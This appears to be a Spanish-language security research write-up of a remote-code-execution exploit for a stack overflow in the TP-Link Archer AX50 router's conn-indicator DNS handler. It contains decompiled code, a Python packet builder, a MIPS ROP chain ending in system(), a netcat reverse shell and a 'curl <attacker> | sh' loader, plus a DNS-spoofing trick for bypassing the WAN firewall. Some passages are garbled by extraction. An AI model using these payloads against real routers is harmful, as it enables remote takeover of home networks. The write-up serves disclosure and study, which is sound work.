
Exploit para desbordamiento de búfer basado en pila encontrado en el binario conn-indicator del router TP-Link Archer AX50
El router TP-Link Archer AX50 es vulnerable a un desbordamiento de búfer basado en pila en su versión de firmware 1.0.14 Build 20240108 rel.42655(4555), lo que conduce a la ejecución remota de código tanto en la LAN como en la WAN. Esta vulnerabilidad tiene la misma causa raíz que la CVE-2020-10881, encontrada por el equipo Flashback y detallada ampliamente en su serie de videos al respecto (consulte las referencias). Sin embargo, el proceso de explotación difiere un poco, por lo que se tuvo que escribir un nuevo exploit.

Esta vulnerabilidad ocurre en el binario conn-indicator, que se encarga de comprobar si el router está conectado a Internet enviando periódicamente consultas DNS y escuchando sus respuestas en un puerto UDP aleatorio entre 32000 y 61000.
La función que recibe y procesa primero estos paquetes de respuesta DNS es TPDns_RecvAndResolve(), ubicada en 0x00405e3c. Al recibir un paquete con recvfrom, se almacena en buf, que tiene un tamaño de 2960 bytes. Luego, comprueba que el código de retorno sea correcto (RCODE == 0) y verifica el número de preguntas y respuestas del paquete (QDCOUNT y ANCOUNT). Para procesar las respuestas, llama a process_resolved_IP() y le pasa un puntero a buf, answer_ptr, que es un puntero a donde se encuentran las respuestas dentro del paquete en buf, el número de respuestas (ANCOUNT) y otros indicadores:
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
[...]
byte buf [2960];
[...]
while( true ) {
recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
local_38);
piVar2 = __errno_location();
if (recv_bytes == 0) goto RECV_ERROR;
if (recv_bytes < 0) break;
total_recv_bytes = total_recv_bytes + recv_bytes;
if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
}
[...]
/* Check that ANCOUNT is not 0 (answer contains at least one domain) */
puVar5 = (undefined4 *)0x0;
if (buf._6_2_ != 0) {
local_40 = 0;
puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
answer_ptr = answer_ptr + local_40;
}
[...]
La función process_resolved_IP(), ubicada en 0x00405818, recorre cada respuesta y llama a DNS_answer_parser() por cada una de ellas. Le pasa como argumentos el mismo puntero a buf, answer, que es un puntero a la respuesta actual que se está analizando dentro del paquete original en buf, y un puntero a current_answer, que es un búfer de tamaño 256:
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
[...]
byte current_answer [256];
ushort answer_flags [5];
i = 0;
puVar9 = (undefined4 *)0x0;
puVar7 = (undefined4 *)0x0;
answer = answer_ptr;
do {
/* Check if all answers have been parsed already */
if (i == ANCOUNT) {
if (param_4 != (undefined4 *)0x0) {
*param_4 = puVar7;
}
if (param_5 != (int *)0x0) {
*param_5 = (int)answer - (int)answer_ptr;
}
return puVar9;
}
bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
memcpy(answer_flags,answer + bytes_processed,10);
uVar1 = answer_flags._4_4_;
bytes_processed = bytes_processed + 10;
uVar6 = (uint)answer_flags[4];
uVar8 = (uint)answer_flags[0];
if (uVar8 == 2) {
LAB_00405924:
DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
}
else if (uVar8 < 3) {
pbVar2 = answer + bytes_processed;
if (uVar8 == 1) {
sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
(uint)pbVar2[3]);
}
}
else {
if (uVar8 == 5) goto LAB_00405924;
if (uVar8 == 0x1c) {
inet_ntop(10,answer,(char *)abStack_240,0xff);
}
}
answer = answer + bytes_processed + uVar6;
[...]
i = i + 1;
} while( true );
}
La función DNS_answer_parser(), ubicada en 0x004054e0, analiza cada respuesta individualmente, la cual consiste en un nombre de dominio representado como <len><domain><len><domain>.... Por ejemplo, example.com se representaría como 7example3com. La función itera sobre cada par de <len><domain> que constituyen el nombre de dominio en la respuesta y comprueba que <len> sea menor que 63 (domain_name & 0xc0 != 0). Luego, llama a memcpy y copia <len> bytes de answer, correspondientes a <domain>, dentro de current_answer. Repite el proceso para el siguiente par de <len><domain> en el nombre de dominio.
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
int iVar1;
uint __n;
int iVar2;
uint uVar3;
ushort flag_and_offset;
byte domain_name;
iVar2 = 0;
do {
domain_name = *answer;
__n = (uint)domain_name;
iVar1 = 1;
if (__n == 0) {
*current_answer = 0;
LAB_004055b0:
return iVar2 + iVar1;
}
/* Check if compression mode is used */
if ((domain_name & 0xc0) != 0) {
flag_and_offset = CONCAT11(domain_name,answer[1]);
DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
iVar1 = 2;
goto LAB_004055b0;
}
uVar3 = __n + 1;
if (flag == 0) {
*current_answer = '.';
memcpy(current_answer + 1,answer + 1,__n);
__n = uVar3;
}
else {
memcpy(current_answer,answer + 1,__n);
}
answer = answer + uVar3;
current_answer = current_answer + __n;
iVar2 = iVar2 + uVar3;
flag = 0;
} while( true );
}
Dado que current_answer solo tiene 256 bytes de longitud, es posible que un atacante envíe un paquete con una respuesta que contenga un nombre de dominio lo suficientemente grande como para desbordar el búfer.
El proceso de explotación es muy similar al explicado por el equipo Flashback para la CVE-2020-10881 en su serie de videos al respecto (ver referencias), con algunas diferencias clave:
move, ya que ahora el registro que se mueve a $a2 como argumento count para memcpy() es $s1 en lugar de $s0.i en process_resolved_IP() se carga en $s5 en lugar de $s8. Luego, al compararse con $v1, $v1 se toma de $sp+616, que está muy lejos del búfer desbordado, por lo que la pila tuvo que corromperse más allá de la respuesta y el comando.Teniendo esto en cuenta, explicaré todo el proceso de todos modos.
El binario conn-indicator tiene NX habilitado y ASLR en todo excepto en sí mismo:
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0 [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack]
7ffff000-80000000 r-xp 00000000 00:00 0 [vdso]
root@Archer_AX50:/proc/6541# exploit
Así que la estrategia para explotar esta vulnerabilidad es construir una cadena ROP en la que podamos ejecutar system() con el comando deseado.
Para poder desbordar el búfer y corromper el registro $ra, un atacante necesita enviar una respuesta DNS con una respuesta que contenga un nombre de dominio lo suficientemente grande. En cuanto a la cabecera DNS, el único requisito es que RCODE sea 0 y que ANCOUNT sea 1, ya que el paquete solo necesita contener una respuesta. Como ejemplo, el siguiente paquete corrompe el registro $ra con 0x50505050:
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT
# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
packet += [DOMAIN_LEN]
for j in range(0, DOMAIN_LEN):
packet += [0x41]
# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23
# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
Ahora, dado que la dirección del binario es siempre la misma en cada ejecución y tiene un área escribible, el plan es copiar el comando a ejecutar allí y luego llamar a system() con él. Para ello, se utiliza la siguiente cadena ROP:
memcpy(). La dirección del siguiente gadget se carga en $ra. Luego, $s2 se mueve a $v0. Este contiene la dirección del área escribible del binario en la que se copiará el comando, que será el argumento dest para memcpy(). Luego, el argumento count para memcpy se carga en $s1 desde una dirección de pila que controlamos. Finalmente, salta al siguiente gadget:00402700 lw ra, 0x2c(sp)
00402704 move v0, s2
00402708 lw s2, 0x28(sp)
0040270c lw s1, 0x24(sp)
00402710 lw s0, 0x20(sp)
00402714 jr ra
00402718 addiu sp, sp, 0x30
memcpy() y luego lo llama. El argumento dest para memcpy(), correspondiente al área escribible del binario, que estaba en $v0, se carga en $a0 como primer parámetro de memcpy(). En este punto de la ejecución, $a1 apunta al final de la respuesta en el paquete de respuesta DNS, que es donde hemos colocado nuestra cadena de comando, por lo que no hay necesidad de preparar el parámetro src. Luego, $s1, que contiene el parámetro count cargado en el gadget anterior, se mueve a $a2 como tercer parámetro para memcpy(). Por último, se llama a memcpy() y la cadena de comando se copia en el área escribible del binario. Este gadget está ubicado al final de , por lo que ahora la ejecución continúa dentro de ella. La pila debe estar dispuesta ahora para que la función pueda retornar con éxito. Para ello, algunas variables de esta función que se cargan desde la pila y desde algunos registros se colocan cuidadosamente en el payload, como , , e . Al retornar, la dirección de se toma nuevamente de la pila, en la que colocamos la dirección del siguiente gadget para saltar allí.00405a98 move a0, v0
00405a9c jal <EXTERNAL>:memcpy
00405aa0 _move a2, s1
[...]
system() y lo llama. En este punto de la ejecución, $v0 contiene el valor de $s3, en el que hemos colocado la dirección del área escribible del binario, que ahora contiene el comando. Entonces, $v0 se mueve a $a0. Luego, la dirección de system(), que está importada en el binario, se coloca desde la pila en $ra y se llama a system(), logrando la ejecución de código.004065e8 move a0, v0
004065ec clear v0
004065f0 lw ra, 0x1c(sp)
004065f4 jr ra
Ahora, la reverse shell a ejecutar en el objetivo, que ejecuta busybox, es la siguiente:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
Sin embargo, el comando a ejecutar debe tener menos de 62 caracteres y, dado que el sistema de archivos solo es escribible en /tmp, era imposible ejecutar la reverse shell directamente. En su lugar, se ejecutó un cargador: curl http://<attacker>:<port>/ | sh, que recupera la reverse shell del atacante.
Ahora, lo único que queda es hacer fuerza bruta sobre el puerto en el que conn-indicator está escuchando, lo cual se puede automatizar fácilmente.
Hasta este punto, este exploit solo funcionaría en la LAN, ya que la WAN está protegida por firewall. Sin embargo, hay una manera de evitar esta restricción. Para que conn-indicator reciba las respuestas DNS, el firewall permite los paquetes que provienen de la misma IP que las consultas DNS enviadas por el binario, es decir, los paquetes que provienen del DNS que está utilizando el router objetivo. Por lo tanto, para evadir el firewall, basta con enviar paquetes falsificados como si fueran del servidor DNS, que si el objetivo está en una red local probablemente será algo como 192.168.0.1, 192.168.1.1 o 10.0.0.1, y si el objetivo está directamente conectado a Internet, probablemente será algo como 8.8.8.8, 1.1.1.1 u otros servidores DNS comunes.
El exploit totalmente funcional funciona tanto para LAN como para WAN. El modo LAN hace fuerza bruta en cada puerto desde 32000 hasta 61000 y el modo WAN hace fuerza bruta en los mismos puertos y en todas las IPs DNS posibles, que están almacenadas en SPOOF_LIST. Esta lista debe editarse según el conocimiento que el atacante tenga sobre el objetivo, sin embargo, con suficiente tiempo (minutos) debería cubrir el 90% de los casos.
/tmp, por lo que todas las escrituras y lecturas deben realizarse allí. Esto hace que sea imposible que la reverse shell tenga menos de 62 caracteres, así que para desplegarla en el objetivo, debe servirse desde un servidor web y enviarse al objetivo un comando para descargarla y ejecutarla.process_resolved_IP()ANCOUNTparam_4param_5i$ra